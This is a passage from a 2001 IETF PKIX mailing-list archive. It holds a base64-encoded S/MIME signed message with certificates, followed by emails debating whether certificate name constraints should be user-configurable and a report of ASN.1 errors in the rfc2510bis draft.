ZWwgb2YgYXNzdXJhbmNlIGFzIG91dCBvZiBiYW5kIGNvbmZpZ3VyYXRpb24gb2YNCnBhcmFtZXRl
cnMgdG8gY2hhaW4gYnVpbGRpbmcgLSBidXQgeW91IHdvdWxkIGhhdmUgdG8gd29yayBoYXJkIHRv
IGJlDQp0aGF0IGJhZCAtIHdpdGggYSBsaXR0bGUgZWZmb3J0LCB5b3Ugc2hvdWxkIGRvIGJldHRl
ci4NClRyZXZvcg0KDQotLS0tLU9yaWdpbmFsIE1lc3NhZ2UtLS0tLQ0KRnJvbTogU3RlcGhlbiBL
ZW50IFttYWlsdG86a2VudEBiYm4uY29tXQ0KU2VudDogVHVlc2RheSwgTWFyY2ggMDYsIDIwMDEg
MTE6NTIgQU0NClRvOiBUcmV2b3IgRnJlZW1hbg0KQ2M6IGlldGYtcGtpeEBpbWMub3JnDQpTdWJq
ZWN0OiBSRTogV0cgTGFzdCBDYWxsOiBTb24tb2YtMjQ1OQ0KDQoNClRyZXZvciwNCg0KPlN0ZXZl
LA0KPkkgdGhpbmsgeW91ciBvcmlnaW5hbCBpZGVhIGlzIHRoZSByaWdodCBvbmUuIEkgYW0gc3Vy
ZSB0aGF0IHByb2R1Y3RzDQo+d2lsbCBhcHBlYXIgd2hpY2ggd2lsbCBzdXBwb3J0IHRoZSBmZWF0
dXJlcyBjb250YWluZWQgaW4gc29uIG9mDQpSRkMyNDU5LA0KPnNvIEkgdGhpbmsgaXQgcHJlbWF0
dXJlIHRvIGludHJvZHVjZSBhbm90aGVyIG1lY2hhbmlzbS4gSSBhbHNvIGFncmVlDQo+d2l0aCB5
b3VyIHByZW1pc2UgdGhhdCB0aGVyZSB3aWxsIGJlIGEgZHJpdmUgZm9yIHRoZSB1c2Ugb2YgQ0Fz
IHdobydzDQo+am9iIGlzIHRoZSBpc3N1YW5jZSBvZiBjcm9zcyBjZXJ0aWZpY2F0ZXMgdG8gb3Ro
ZXIgQ0FzIHdpdGggYSB2aWV3IHRvDQo+bWFuYWdpbmcgdGhlIHRydXN0IHJlbGF0aW9uc2hpcHMg
Zm9yIGEgc2V0IG9mIHJlc291cmNlcywgYW5kIG1heSBuZXZlcg0KPmluIHRoZWlyIGxpZmV0aW1l
IGlzc3VlIGEgY2VydGlmaWNhdGUgdG8gYSBlbmQgdXNlci4gSSBoYXZlIHNlZW4gdGhpcw0KYXMN
Cj5hbiBpbmNyZWFzaW5nIHRyZW5kIHdpdGggZGVwbG95bWVudCBwbGFubmluZyBkdWUgdG8gdGhl
IHJlYWxpc2F0aW9uIG9mDQo+dGhlIGNvbXBsZXhpdHkgb2YgdGhlIHRydXN0IHJlbGF0aW9uc2hp
cHMgcmVxdWlyZWQgYnkgb3JnYW5pc2F0aW9ucy4NCg0KSSBhcHByZWNpYXRlIHRoZSBzdXBwb3J0
LCBidXQgSSBmZWFyIHRoYXQgd2UgbWF5IGJlIGFyZ3VpbmcgZm9yIA0KZGlmZmVyZW50IG1vZGVs
cy4gSSB3b3VsZCB3YW50IHRvIHNlZSBhbiBvcmdhbml6YXRpb25hbCBDQSBpc3N1ZSANCmNyb3Nz
IGNlcnRzIHdpdGggbmFtZSBjb25zdHJhaW50cywgYW5kIHRoYXQgQ0EgKG9yIGEgc3Vib3JkaW5h
dGUgb2YgDQppdCkgd291bGQgY2VydGFpbmx5IGlzc3VlIGNlcnRzIHRvIGVuZCB1c2Vycy4gSSBh
bSBub3QgZm9uZCBvZiB0aGUgDQoiYnJpZGdlIENBIiBtb2RlbCB0aGF0IHRoZSBVLlMuIGZlZGVy
YWwgUEtJIGFkb3B0ZWQsIGJlY2F1c2Ugbm9uZSBvZiANCml0cyBzdWJzY3JpYmVyIG9yZ2FuaXph
dGlvbnMgY2FuIGlzc3VlIGNyb3NzIGNlcnRzIHRvIHRoZSBicmlkZ2UgDQpjb250YWluaW5nIG90
aGVyIHRoYW4gc2ltcGxlLCBwcm9oaWJpdGVkIHN1YnRyZWUgbmFtZSBjb25zdHJhaW50cy4gDQpJ
J2QgYmUgaGFwcGllciBpZiB0aGUgYnJpZGdlIENBIHN1YnNjcmliZXIgb3JnYW5pemF0aW9ucyB0
b29rIHRoZSANCmNlcnRzIGlzc3VlZCBieSB0aGUgYnJpZGdlIENBIGFuZCB1c2VkIHRoZW0gYXMg
YSBiYXNpcyBmb3IgaXNzdWluZyANCmRpcmVjdCBjcm9zcyBjZXJ0cyB3aXRoIG5hbWUgY29uc3Ry
YWludHMuIEJ1dCBJJ3ZlIGJlZW4gdG9sZCB0aGF0IHRoZSANCmNvbXBsZXhpdHkgb2YgZG9pbmcg
dGhhdCB3b3VsZCBiZSB0b28gZ3JlYXQgZm9yIHRoZSBzdWJzY3JpYmVyIA0Kb3JnYW5pemF0aW9u
cywgc28gLi4uDQoNCkFueXdheSwgc2luY2UgaXQgaXMgY2xlYXIgdGhhdCBub3QgYWxsIGZvbGtz
IHdpbGwgaXNzdWUgY3Jvc3MgY2VydHMgDQphcyBJIHN1Z2dlc3RlZCwgSSBoYXZlIHRvIGFkbWl0
IHRvIGxpa2luZyB0aGUgZmFsbGJhY2sgcG9zaXRpb24gb2YgDQphbGxvd2luZyBzcGVjaWZpY2F0
aW9uIG9mIG5hbWUgY29uc3RyYWludHMgYXMgcGFydCBvZiB0aGUgdmFsaWRhdGlvbiANCnByb2Nl
ZHVyZSwgb24gYSBwZXIgdHJ1c3QgYW5jaG9yIGJhc2lzLiBUaGUgbWFpbiBhcmd1bWVudCBJJ3Zl
IHNlZW4gDQppcyB0aGUgb25lIHRoYXQgcXVlc3Rpb25zIHdoZXRoZXIgdGhpcyBzaG91bGQgYmUg
YSB1c2VyIGNvbmZpZ3VyYWJsZSANCnBhcmFtZXRlciwgb3IgYW4gYWRtaW5pc3RyYXRpdmUgcGFy
YW1ldGVyLCBvciB3aGV0aGVyIHRoaXMgaXMgYSBNQVkgDQoodnMuIFNIT1VMRC9NVVNUKSwgd2hp
Y2ggYWxsb3dzIHZlbmRvcnMgdG8gaWdub3JlIHRoZSBmYWNpbGl0eSANCmVudGlyZWx5Lg0KDQpT
dGV2ZQ0KAAAAAAAAoIIbEDCCA0AwggKpoAMCAQICECElZvdedYS4R497WbSp4hIwDQYJKoZIhvcN
AQEFBQAwTDELMAkGA1UEBhMCVVMxEjAQBgNVBAoTCU1pY3Jvc29mdDEOMAwGA1UECxMFTnRkZXYx
GTAXBgNVBAMTEE5UREVWIFNBIFJvb3QgQ0EwHhcNMDAwOTIwMjEyNDQ1WhcNMDIwOTIwMjEzMzI4
WjBMMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MQ4wDAYDVQQLEwVOdGRldjEZMBcG
A1UEAxMQTlRERVYgU0EgUm9vdCBDQTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAxym3bBtJ
93ep9YM9eFtrJSmFA8NG6OtxTKRLLyorXMYNUzLsdozvGWdSZwlzbvATakzrzriuqq7QgaBzJvS0
Oq8yAzthqf0jBQysGvTH1LHieo3bmCFFOOUtGvfdJGbEMvTb8cT0yxAgPJ7Or0WZta77f/ARUNWW
v6g7TNUUhe0CAwEAAaOCASEwggEdMBMGCSsGAQQBgjcUAgQGHgQAQwBBMAsGA1UdDwQEAwIBRjAP
BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBR3yXRpLDn+OGX0hwVYCM69upfaEDCBtgYDVR0fBIGu
MIGrMIGooIGloIGihk5odHRwOi8vd2hpY2FzYXJvb3RjYS5udGRldi5taWNyb3NvZnQuY29tL0Nl
cnRFbnJvbGwvTlRERVYlMjBTQSUyMFJvb3QlMjBDQS5jcmyGUGZpbGU6Ly9cXHdoaWNhc2Fyb290
Y2EubnRkZXYubWljcm9zb2Z0LmNvbVxDZXJ0RW5yb2xsXE5UREVWJTIwU0ElMjBSb290JTIwQ0Eu
Y3JsMBAGCSsGAQQBgjcVAQQDAgEAMA0GCSqGSIb3DQEBBQUAA4GBAAj54W8kzais9v83BJCkQFSg
Vejj3junPZCxUeCnGzzDmrxUuOPcofoYlSwZ/11uLoVVc5qCkEZknWSmwRRViiizyf3dRuYsR9se
P2ixJUtKHHwbqHeoQpUpZpOt+czyLOKJpPc9ihx917XumDCrNTF0Urn8pouG9wYyB3wUnmSdMIIF
MDCCBO+gAwIBAgIKYW/U2AAAAAAAAzAJBgcqhkjOOAQDMGExCzAJBgNVBAYTAlVTMRIwEAYDVQQK
EwlNaWNyb3NvZnQxDjAMBgNVBAsTBU50ZGV2MS4wLAYDVQQDEyVOVERFViBJbnRlcm1lZGlhdGUg
U3Vib3JkaW5hdGUgV2hpY2EyMB4XDTAwMDkyNTIzMjcyM1oXDTAxMDkyNTIzMzQxNlowSzELMAkG
A1UEBhMCVVMxEjAQBgNVBAoTCU1pY3Jvc29mdDEOMAwGA1UECxMFTnRkZXYxGDAWBgNVBAMTD05U
REVWIElTU1VFMyBDQTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAupHMN0lJw9ae2Ic2yZBI
CCqeP2H6Re4B1Rnk+KETtF0S15jq7ea5n/+z43Da9CqjunNJaLT7rX4o9NHUN7eP5aKlZ7aRP+Eo
T0wB51OPsjZKuFWptbdL7PEVHAuOUrOOjyZ0ITR432vqcJ/L3AouTyuCuN7/1kw9tMMRl5erzkUC
AwEAAaOCA10wggNZMBAGCSsGAQQBgjcVAQQDAgEAMB0GA1UdDgQWBBTJRFZKkBN8qfMzBmve0Jm7
58jO6TAZBgkrBgEEAYI3FAIEDB4KAFMAdQBiAEMAQTALBgNVHQ8EBAMCAUYwDwYDVR0TAQH/BAUw
AwEB/zAfBgNVHSMEGDAWgBR5II7epN8kVyKCvm3OC5j8FM5BQjCCAVYGA1UdHwSCAU0wggFJMIIB
RaCCAUGgggE9hlxodHRwOi8vd2hpY2EyLm50ZGV2Lm1pY3Jvc29mdC5jb20vQ2VydEVucm9sbC9O
VERFViUyMEludGVybWVkaWF0ZSUyMFN1Ym9yZGluYXRlJTIwV2hpY2EyLmNybIaB3GxkYXA6Ly8v
Q049TlRERVYlMjBJbnRlcm1lZGlhdGUlMjBTdWJvcmRpbmF0ZSUyMFdoaWNhMixDTj13aGljYTIs
Q049Q0RQLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3Vy
YXRpb24sREM9bnRkZXYsREM9bWljcm9zb2Z0LERDPWNvbT9jZXJ0aWZpY2F0ZVJldm9jYXRpb25M
aXN0P2Jhc2U/b2JqZWN0Y2xhc3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwggFwBggrBgEFBQcBAQSC
AWIwggFeMIGDBggrBgEFBQcwAoZ3aHR0cDovL3doaWNhMi5udGRldi5taWNyb3NvZnQuY29tL0Nl
cnRFbnJvbGwvd2hpY2EyLm50ZGV2Lm1pY3Jvc29mdC5jb21fTlRERVYlMjBJbnRlcm1lZGlhdGUl
MjBTdWJvcmRpbmF0ZSUyMFdoaWNhMi5jcnQwgdUGCCsGAQUFBzAChoHIbGRhcDovLy9DTj1OVERF
ViUyMEludGVybWVkaWF0ZSUyMFN1Ym9yZGluYXRlJTIwV2hpY2EyLENOPUFJQSxDTj1QdWJsaWMl
MjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPW50ZGV2LERD
PW1pY3Jvc29mdCxEQz1jb20/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29iamVjdGNsYXNzPWNlcnRpZmlj
YXRpb25BdXRob3JpdHkwCQYHKoZIzjgEAwMwADAtAhUA5UHxWLBZ8zXgJgd7ecJ4BW5po4ICFCf3
VEVyF7k5XJoMIVrDvDBHwVrbMIIFoTCCBQqgAwIBAgIKGja7EgAAAAAAAjANBgkqhkiG9w0BAQUF
ADBMMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MQ4wDAYDVQQLEwVOdGRldjEZMBcG
A1UEAxMQTlRERVYgU0EgUm9vdCBDQTAeFw0wMDA5MjUyMzI0MTZaFw0wMTA5MjUyMzM0MTZaMGEx
CzAJBgNVBAYTAlVTMRIwEAYDVQQKEwlNaWNyb3NvZnQxDjAMBgNVBAsTBU50ZGV2MS4wLAYDVQQD
EyVOVERFViBJbnRlcm1lZGlhdGUgU3Vib3JkaW5hdGUgV2hpY2EyMIIBtjCCASsGByqGSM44BAEw
ggEeAoGBAM33k4tehmdxq/WAJjhPtyAwpe/Xs2MX1Jhc2ShMrwnG1hkPkHiYHBfIR7QFKv+J3tlX
p1ej93ofwXW9gD1jayyrtfjcNqHKskGIrYJoVB9WT9BTAlmXEN3gBJgI1Tkh3KsbzpMPDmabhRtb
+Ahmn0dUdaxmukabDOJW539YPj/9AhUA76t5INGQllcDcGCPneHWb2MEDHUCgYA4+rooQzuD3Xf9
zRqeEEH0MXR5q1ax9nBBlaE9XnVJEqqIUc7nqSWLh85Smp4zUEqaL3nIRPzgPAGl1g3HuEtG3IKQ
lbIbgg/AsLY6pQfu1oiP7NlH4NWLkKRDrWbSueFKvBuwNmio0JG7r2MH5OO3QSUKua7Exgsg0RR+
rkjfiwOBhAACgYAcJAh8mC7+Ha2bGsznzWsQiBrcATowbZE2woOE5vLOzAILXRnC2n4Q+C0zDXp8
0KvPfUNPAGfgk741D/2U0gZEL4883ASeR4IN3ETWSJHBUGU6l2EXoREy3WScNwo2gZchPPJq9uR7
FLLCM9AKprz/Gd6ystAXtwhdZwrHmawlJaOCAlswggJXMBAGCSsGAQQBgjcVAQQDAgEAMB0GA1Ud
DgQWBBR5II7epN8kVyKCvm3OC5j8FM5BQjAZBgkrBgEEAYI3FAIEDB4KAFMAdQBiAEMAQTALBgNV
HQ8EBAMCAcYwDwYDVR0TAQH/BAUwAwEB/zAfBgNVHSMEGDAWgBR3yXRpLDn+OGX0hwVYCM69upfa
EDCBtgYDVR0fBIGuMIGrMIGooIGloIGihk5odHRwOi8vd2hpY2FzYXJvb3RjYS5udGRldi5taWNy
b3NvZnQuY29tL0NlcnRFbnJvbGwvTlRERVYlMjBTQSUyMFJvb3QlMjBDQS5jcmyGUGZpbGU6Ly9c
XHdoaWNhc2Fyb290Y2EubnRkZXYubWljcm9zb2Z0LmNvbVxDZXJ0RW5yb2xsXE5UREVWJTIwU0El
MjBSb290JTIwQ0EuY3JsMIIBDwYIKwYBBQUHAQEEggEBMIH+MHwGCCsGAQUFBzAChnBodHRwOi8v
d2hpY2FzYXJvb3RjYS5udGRldi5taWNyb3NvZnQuY29tL0NlcnRFbnJvbGwvd2hpY2FzYXJvb3Rj
YS5udGRldi5taWNyb3NvZnQuY29tX05UREVWJTIwU0ElMjBSb290JTIwQ0EuY3J0MH4GCCsGAQUF
BzAChnJmaWxlOi8vXFx3aGljYXNhcm9vdGNhLm50ZGV2Lm1pY3Jvc29mdC5jb21cQ2VydEVucm9s
bFx3aGljYXNhcm9vdGNhLm50ZGV2Lm1pY3Jvc29mdC5jb21fTlRERVYlMjBTQSUyMFJvb3QlMjBD
QS5jcnQwDQYJKoZIhvcNAQEFBQADgYEAL4HlyexkgagQx3sh6yj2kff49+Kpg2cNW+BmHoAEhjk/
0A9knSiOsdKxpICFqAe62YJ5tntl4LtnW8LMnGwt9pp1nDC66thpoAXl9Nw0iP9r+xNtZGZovKQ6
ZBiM1ph9kLqHfCVYGmsrOYIM9X5hMqVdm5OdWwTnZmh08TirPRwwggZwMIIF2aADAgECAgoTyPih
AAAAAToQMA0GCSqGSIb3DQEBBQUAMEsxCzAJBgNVBAYTAlVTMRIwEAYDVQQKEwlNaWNyb3NvZnQx
DjAMBgNVBAsTBU50ZGV2MRgwFgYDVQQDEw9OVERFViBJU1NVRTMgQ0EwHhcNMDEwMzA1MTkzNjQw
WhcNMDEwMzE1MTkzNjQwWjB+MRMwEQYKCZImiZPyLGQBGRYDY29tMRkwFwYKCZImiZPyLGQBGRYJ
bWljcm9zb2Z0MRUwEwYKCZImiZPyLGQBGRYFbnRkZXYxDDAKBgNVBAsTA0lURzEOMAwGA1UECxMF
VXNlcnMxFzAVBgNVBAMTDlRyZXZvciBGcmVlbWFuMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKB
gQCordGRj9HFaiM4ZOzQFE1jf/OS6zZDqgSEtHuhfqgk9rNsycP78z5GYUcTjfMwrLY36tP1z4Pf
6tMjPD28AEngW7WDbbF1AJIdRAy1+akTqcI2nBBZATsC09A/9flEcHVLT03pI3n08PZcnHg1ptg1
O2gj74lHWeGbrQsEr99UYQIDAQABo4IEJjCCBCIwNQYJKwYBBAGCNxUKBCgwJjAMBgorBgEEAYI3
FAICMAoGCCsGAQUFBwMEMAoGCCsGAQUFBwMCMC0GA1UdIAQmMCQwIgYgKwYBBAGCNxUIjeDRiU6E
15zDB4amhvscj9O/phUBgxEwCwYDVR0PBAQDAgeAMCkGA1UdJQQiMCAGCisGAQQBgjcUAgIGCCsG
AQUFBwMEBggrBgEFBQcDAjA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiN4NGJToTXnMMHhqaG
+xyP07+mFYnx/epmhIi2qhoCAWgCAQEwHQYDVR0OBBYEFKgrWCIgNGLVpfLIOj2R2EU7FYPTMB8G
A1UdIwQYMBaAFMlEVkqQE3yp8zMGa97QmbvnyM7pMIIBJgYDVR0fBIIBHTCCARkwggEVoIIBEaCC
AQ2GRGh0dHA6Ly93aGljYTMubnRkZXYubWljcm9zb2Z0LmNvbS9DZXJ0RW5yb2xsL05UREVWJTIw
SVNTVUUzJTIwQ0EuY3JshoHEbGRhcDovLy9DTj1OVERFViUyMElTU1VFMyUyMENBLENOPXdoaWNh
MyxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmln
dXJhdGlvbixEQz1udGRldixEQz1taWNyb3NvZnQsREM9Y29tP2NlcnRpZmljYXRlUmV2b2NhdGlv
bkxpc3Q/YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCCAT8GCCsGAQUFBwEB
BIIBMTCCAS0wawYIKwYBBQUHMAKGX2h0dHA6Ly93aGljYTMubnRkZXYubWljcm9zb2Z0LmNvbS9D
ZXJ0RW5yb2xsL3doaWNhMy5udGRldi5taWNyb3NvZnQuY29tX05UREVWJTIwSVNTVUUzJTIwQ0Eu
Y3J0MIG9BggrBgEFBQcwAoaBsGxkYXA6Ly8vQ049TlRERVYlMjBJU1NVRTMlMjBDQSxDTj1BSUEs
Q049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049U2VydmljZXMsQ049Q29uZmlndXJhdGlvbixE
Qz1udGRldixEQz1taWNyb3NvZnQsREM9Y29tP2NBQ2VydGlmaWNhdGU/YmFzZT9vYmplY3RDbGFz
cz1jZXJ0aWZpY2F0aW9uQXV0aG9yaXR5MFYGA1UdEQRPME2gKwYKKwYBBAGCNxQCA6AdDBt0cmV2
b3JmQG50ZGV2Lm1pY3Jvc29mdC5jb22BHlRSRVZPUkZAZXhjaGFuZ2UubWljcm9zb2Z0LmNvbTA9
BgkrBgEEAYI3FAIEMB4uAEEAdQB0AG8ARQBuAHIAbwBsAGwAUwBtAGEAcgB0AGMAYQByAGQAVQBz
AGUAcjANBgkqhkiG9w0BAQUFAAOBgQAN32cWu6osOtCXokUuyExG6jvYAyY6TKvIU9Vy5wkjBuDP
zRQjQd32CUqgc7nWa2gxKGz9fjxd9bPqUI6oNhkFQrBGOqkLuMBHXMJM3pfw7fy1Kwrf8BavhXKE
2/pjEYI9wYEYLZcwH0JOILfrEMerSPqFLut4q7pffp1CVNE6nDCCBnswggXkoAMCAQICCjlAVFMA
AAAA+aowDQYJKoZIhvcNAQEFBQAwSzELMAkGA1UEBhMCVVMxEjAQBgNVBAoTCU1pY3Jvc29mdDEO
MAwGA1UECxMFTnRkZXYxGDAWBgNVBAMTD05UREVWIElTU1VFMyBDQTAeFw0wMTAyMjcwMDA0MTla
Fw0wMTAzMTMwMDA0MTlaMIGtMRMwEQYKCZImiZPyLGQBGRYDY29tMRkwFwYKCZImiZPyLGQBGRYJ
bWljcm9zb2Z0MRUwEwYKCZImiZPyLGQBGRYFbnRkZXYxDDAKBgNVBAsTA0lURzEOMAwGA1UECxMF
VXNlcnMxFzAVBgNVBAMTDlRyZXZvciBGcmVlbWFuMS0wKwYJKoZIhvcNAQkBFh5UUkVWT1JGQGV4
Y2hhbmdlLm1pY3Jvc29mdC5jb20wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAPLHlfp/JQxI
9IgFSwjptvZxvWxQHA755nnBn+ho0L8Zb08+5YepzLd12bhMQHf9CAolcxRzpyAndrR0ALccyYBZ
BQeNGnaPTXqpUKpBu1p4KlKygMmLpyOy2bnRFMCht8KNKKTZoWWhFV6FEmEnkHc7/mVFnq2LMCZm
kKapUTTLAgMBAAGjggQBMIID/TA2BgkqhkiG9w0BCQ8EKTAnMA0GCCqGSIb3DQMCAgE4MA0GCCqG
SIb3DQMEAgE4MAcGBSsOAwIHMBsGCSsGAQQBgjcVCgQOMAwwCgYIKwYBBQUHAwQwCwYDVR0PBAQD
AgQwMBMGA1UdJQQMMAoGCCsGAQUFBwMEMD4GCSsGAQQBgjcVBwQxMC8GJysGAQQBgjcVCI3g0YlO
hNecwweGpob7HI/Tv6YViJD+rmaN6eWvYgIBaQIBATAdBgNVHQ4EFgQUn5cBE5lsebt+RWSHrb9W
kWJrHE0wHwYDVR0jBBgwFoAUyURWSpATfKnzMwZr3tCZu+fIzukwggEmBgNVHR8EggEdMIIBGTCC
ARWgggERoIIBDYZEaHR0cDovL3doaWNhMy5udGRldi5taWNyb3NvZnQuY29tL0NlcnRFbnJvbGwv
TlRERVYlMjBJU1NVRTMlMjBDQS5jcmyGgcRsZGFwOi8vL0NOPU5UREVWJTIwSVNTVUUzJTIwQ0Es
Q049d2hpY2EzLENOPUNEUCxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxD
Tj1Db25maWd1cmF0aW9uLERDPW50ZGV2LERDPW1pY3Jvc29mdCxEQz1jb20/Y2VydGlmaWNhdGVS
ZXZvY2F0aW9uTGlzdD9iYXNlP29iamVjdENsYXNzPWNSTERpc3RyaWJ1dGlvblBvaW50MIIBPwYI
KwYBBQUHAQEEggExMIIBLTBrBggrBgEFBQcwAoZfaHR0cDovL3doaWNhMy5udGRldi5taWNyb3Nv
ZnQuY29tL0NlcnRFbnJvbGwvd2hpY2EzLm50ZGV2Lm1pY3Jvc29mdC5jb21fTlRERVYlMjBJU1NV
RTMlMjBDQS5jcnQwgb0GCCsGAQUFBzAChoGwbGRhcDovLy9DTj1OVERFViUyMElTU1VFMyUyMENB
LENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1
cmF0aW9uLERDPW50ZGV2LERDPW1pY3Jvc29mdCxEQz1jb20/Y0FDZXJ0aWZpY2F0ZT9iYXNlP29i
amVjdENsYXNzPWNlcnRpZmljYXRpb25BdXRob3JpdHkwVgYDVR0RBE8wTaArBgorBgEEAYI3FAID
oB0MG3RyZXZvcmZAbnRkZXYubWljcm9zb2Z0LmNvbYEeVFJFVk9SRkBleGNoYW5nZS5taWNyb3Nv
ZnQuY29tMD8GCSsGAQQBgjcUAgQyHjAAQQB1AHQAbwBFAG4AcgBvAGwAbABTAG0AYQByAHQAQwBh
AHIAZABFAG0AYQBpAGwwDQYJKoZIhvcNAQEFBQADgYEAf8s9nLGL4mM0NaBqvldEYankbAqMre3x
o1uqgQvL8tnIA9qFEkIxfB8rY3M0K8Lqk2G+EpGvpUSVYbs+/EuYR+I+slzshaTjLoWThyKpWbAy
4uqXD8t+YfW9EDETl0u3eqWi+B2yJzZF1JFeIf37RaE3JATXmhRXCaRfi2JV/IQxggKQMIICjAIB
ATBZMEsxCzAJBgNVBAYTAlVTMRIwEAYDVQQKEwlNaWNyb3NvZnQxDjAMBgNVBAsTBU50ZGV2MRgw
FgYDVQQDEw9OVERFViBJU1NVRTMgQ0ECChPI+KEAAAABOhAwCQYFKw4DAhoFAKCCAY0wGAYJKoZI
hvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMDEwMzA3MDA1MzUzWjAjBgkqhkiG
9w0BCQQxFgQUrVHmgS1uivCxLtwlUF2VGEys0EowWAYJKoZIhvcNAQkPMUswSTAKBggqhkiG9w0D
BzAOBggqhkiG9w0DAgICAIAwBwYFKw4DAgcwDQYIKoZIhvcNAwICASgwBwYFKw4DAhowCgYIKoZI
hvcNAgUwaAYJKwYBBAGCNxAEMVswWTBLMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0
MQ4wDAYDVQQLEwVOdGRldjEYMBYGA1UEAxMPTlRERVYgSVNTVUUzIENBAgo5QFRTAAAAAPmqMGoG
CyqGSIb3DQEJEAILMVugWTBLMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MQ4wDAYD
VQQLEwVOdGRldjEYMBYGA1UEAxMPTlRERVYgSVNTVUUzIENBAgo5QFRTAAAAAPmqMA0GCSqGSIb3
DQEBAQUABIGADmzaQm4iAMG4Zf6nmOv/eF9eBzOWRKj9LWYZYsrs+p4PY+YJX+KgVzEjQ5C1oWNU
2zlLDbdvt3zJCSDTFqmw/B5GhFpROuZ+oQV++WApZi0nH618i7MjKLriGqlqbKcQD8UQO5FZ70VG
BEH0D//ddMTbpZ4ezDucL4ITJTUL4x0AAAAAAAA=


Received: from mail1.microsoft.com (mail1.microsoft.com [131.107.3.125]) by above.proper.com (8.9.3/8.9.3) with SMTP id QAA18109 for <[e-mail]>; Tue, 6 Mar 2001 16:21:27 -0800 (PST)
Received: from 157.54.9.103 by mail1.microsoft.com (InterScan E-Mail VirusWall NT); Tue, 06 Mar 2001 16:17:27 -0800 (Pacific Standard Time)
Received: by inet-imc-04.redmond.corp.microsoft.com with Internet Mail Service (5.5.2653.19) id <GKJW4GHF>; Tue, 6 Mar 2001 15:04:51 -0800
Message-ID: <[e-mail]>
From: David Cross <[e-mail]>
To: "'Stephen Kent'" <[e-mail]>
Cc: [e-mail]
Subject: RE: WG Last Call: Son-of-2459
Date: Tue, 6 Mar 2001 15:04:23 -0800 
X-Mailer: Internet Mail Service (5.5.2653.19)

Steve:

->Anyway, since it is clear that not all folks will issue cross certs 
as I suggested, I have to admit to liking the fallback position of 
allowing specification of name constraints as part of the validation 
procedure, on a per trust anchor basis. The main argument I've seen 
is the one that questions whether this should be a user configurable 
parameter, or an administrative parameter, or whether this is a MAY 
(vs. SHOULD/MUST), which allows vendors to ignore the facility 
entirely.

I would strongly disagree against allowing name constraints to be a user
configurable parameter.  This defeats the administrative value and assurance
that name constraints provide.

David B. Cross


Received: from mailo.vtcif.telstra.com.au (mailo.vtcif.telstra.com.au [202.12.144.17]) by above.proper.com (8.9.3/8.9.3) with ESMTP id QAA16915 for <[e-mail]>; Tue, 6 Mar 2001 16:06:07 -0800 (PST)
Received: (from uucp@localhost) by mailo.vtcif.telstra.com.au (8.8.2/8.6.9) id LAA14085 for <[e-mail]>; Wed, 7 Mar 2001 11:05:39 +1100 (EST)
Received: from maili.vtcif.telstra.com.au(202.12.142.17) via SMTP by mailo.vtcif.telstra.com.au, id smtpd00pBp_; Wed Mar  7 11:05:07 2001
Received: (from uucp@localhost) by maili.vtcif.telstra.com.au (8.8.2/8.6.9) id LAA24981 for <[e-mail]>; Wed, 7 Mar 2001 11:05:07 +1100 (EST)
Received: from localhost(127.0.0.1), claiming to be "mail.cdn.telstra.com.au" via SMTP by localhost, id smtpdrAZWx_; Wed Mar  7 11:04:34 2001
Received: from ntmsg0028.corpmail.telstra.com.au (ntmsg0028.corpmail.telstra.com.au [192.168.174.24]) by mail.cdn.telstra.com.au (8.8.2/8.6.9) with ESMTP id LAA22192 for <[e-mail]>; Wed, 7 Mar 2001 11:04:33 +1100 (EST)
Received: by ntmsg0028.corpmail.telstra.com.au with Internet Mail Service (5.5.2650.21) id <GH1SN6NL>; Wed, 7 Mar 2001 11:04:32 +1100
Message-ID: <[e-mail]>
From: "Manger, James H" <[e-mail]>
To: "'[e-mail]'" <[e-mail]>
Subject: RE: I-D ACTION:draft-ietf-pkix-rfc2510bis-03.txt (and rfc2511bis- 01.txt)
Date: Wed, 7 Mar 2001 11:04:26 +1100 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0A69A.2E42C0F8"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0A69A.2E42C0F8
Content-Type: text/plain;
	charset="iso-8859-1"

Carlisle,
 
Phil's items are EDITORIAL bugs in the ASN.1.
 
A lot of PKIX (particularly ASN.1 definitions) are cut 'n pasted from X.509,
other X.500-series standards, PKCS standards, etc.  There is little
coordination of ASN.1 modules between various standard groups (PKIX don't
IMPORT definitions from X.509, they redefine them in their own modules).
You often want to use PKIX and these other standards together, but compilers
tend not to like duplicate definitions of everything.  The solution is to
rearrange the definitions, IMPORTS and modules to fit your own system.  As
part of this rearranging process it is natural that people correct any
editorial bugs they create or find: some will report these to the editor,
other assume they are too trivial to worry about.  The rfc2510bis ASN.1
module even explicitly says each implementer must adjusted the module
themselves to IMPORT the definition of CertificateRequest.
 
ASN.1 error detected by another compiler in rfc2510bis appendix F:
 
1. The IMPORT section is not terminated with a semicolon.
2. CMP1999(1) & CMP2000(2) identifiers must start with a lowercase letter
3. "SEQUENCE of CertStatus": "OF" must be capitalised.
